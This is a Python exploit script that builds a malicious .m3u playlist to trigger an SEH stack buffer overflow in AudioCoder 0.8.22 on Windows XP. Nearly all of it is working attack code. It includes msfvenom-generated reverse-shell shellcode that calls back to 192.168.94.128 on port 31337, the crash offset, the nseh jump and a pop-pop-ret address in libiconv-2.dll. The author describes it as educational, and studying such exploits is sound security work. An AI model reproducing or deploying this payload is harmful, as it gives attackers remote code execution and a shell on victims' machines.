#!/usr/bin/env python

#----------------------------------------------------------------------------------#
# Exploit: AudioCoder v0.8.22 SEH Stack Buffer Overflow                            #
# OS: Tested XP PRO SP3 (Professional                                              #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   a3b972bf42615e5c34edb19b62eb3fc4-AudioCoder-0.8.22.5506.exe    #
#----------------------------------------------------------------------------------#
# I wrote this exploit for educational purposes, in order to learn how to bypass   #
# SEH security.                                                                    #
#----------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x0a\x0d\xff'  #
#------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xdb\xd4\xd9\x74\x24\xf4\x5d\xb8\x7d\xef\xf4\x16"
shellcode += "\x29\xc9\xb1\x52\x31\x45\x17\x83\xc5\x04\x03\x38"
shellcode += "\xfc\x16\xe3\x3e\xea\x55\x0c\xbe\xeb\x39\x84\x5b"
shellcode += "\xda\x79\xf2\x28\x4d\x4a\x70\x7c\x62\x21\xd4\x94"
shellcode += "\xf1\x47\xf1\x9b\xb2\xe2\x27\x92\x43\x5e\x1b\xb5"
shellcode += "\xc7\x9d\x48\x15\xf9\x6d\x9d\x54\x3e\x93\x6c\x04"
shellcode += "\x97\xdf\xc3\xb8\x9c\xaa\xdf\x33\xee\x3b\x58\xa0"
shellcode += "\xa7\x3a\x49\x77\xb3\x64\x49\x76\x10\x1d\xc0\x60"
shellcode += "\x75\x18\x9a\x1b\x4d\xd6\x1d\xcd\x9f\x17\xb1\x30"
shellcode += "\x10\xea\xcb\x75\x97\x15\xbe\x8f\xeb\xa8\xb9\x54"
shellcode += "\x91\x76\x4f\x4e\x31\xfc\xf7\xaa\xc3\xd1\x6e\x39"
shellcode += "\xcf\x9e\xe5\x65\xcc\x21\x29\x1e\xe8\xaa\xcc\xf0"
shellcode += "\x78\xe8\xea\xd4\x21\xaa\x93\x4d\x8c\x1d\xab\x8d"
shellcode += "\x6f\xc1\x09\xc6\x82\x16\x20\x85\xca\xdb\x09\x35"
shellcode += "\x0b\x74\x19\x46\x39\xdb\xb1\xc0\x71\x94\x1f\x17"
shellcode += "\x75\x8f\xd8\x87\x88\x30\x19\x8e\x4e\x64\x49\xb8"
shellcode += "\x67\x05\x02\x38\x87\xd0\x85\x68\x27\x8b\x65\xd8"
shellcode += "\x87\x7b\x0e\x32\x08\xa3\x2e\x3d\xc2\xcc\xc5\xc4"
shellcode += "\x85\x32\xb1\x98\xd5\xdb\xc0\x24\xac\x72\x4c\xc2"
shellcode += "\x3a\x95\x18\x5d\xd3\x0c\x01\x15\x42\xd0\x9f\x50"
shellcode += "\x44\x5a\x2c\xa5\x0b\xab\x59\xb5\xfc\x5b\x14\xe7"
shellcode += "\xab\x64\x82\x8f\x30\xf6\x49\x4f\x3e\xeb\xc5\x18"
shellcode += "\x17\xdd\x1f\xcc\x85\x44\xb6\xf2\x57\x10\xf1\xb6"
shellcode += "\x83\xe1\xfc\x37\x41\x5d\xdb\x27\x9f\x5e\x67\x13"
shellcode += "\x4f\x09\x31\xcd\x29\xe3\xf3\xa7\xe3\x58\x5a\x2f"
shellcode += "\x75\x93\x5d\x29\x7a\xfe\x2b\xd5\xcb\x57\x6a\xea"
shellcode += "\xe4\x3f\x7a\x93\x18\xa0\x85\x4e\x99\xd0\xcf\xd2"
shellcode += "\x88\x78\x96\x87\x88\xe4\x29\x72\xce\x10\xaa\x76"
shellcode += "\xaf\xe6\xb2\xf3\xaa\xa3\x74\xe8\xc6\xbc\x10\x0e"
shellcode += "\x74\xbc\x30"

#----------------------------------------------------------------------------------#
# (*) Badchars = '\x00\x0a\x0d\xf'                                                 #
#                                                                                  #
# (1) Crash to nseh 757-bytes                                                      #
# (2) nshe = '\xeb\x06\x90\x90'                                                    #
# (3) seh = '\xee\x04\x01\x66'	pop pop ret | [libiconv-2.dll]                     #
# (4) shellcode space = 1215                                                       #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
#----------------------------------------------------------------------------------#

buffer = ''
buffer += 'http://'
buffer += '\x41' * 757
buffer += '\xeb\x06\x90\x90'
buffer += '\xee\x04\x01\x66'
buffer += '\x90' * 20
buffer += shellcode
buffer += '\x44' * (2000 - 757 - 4 - 4 - 20 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
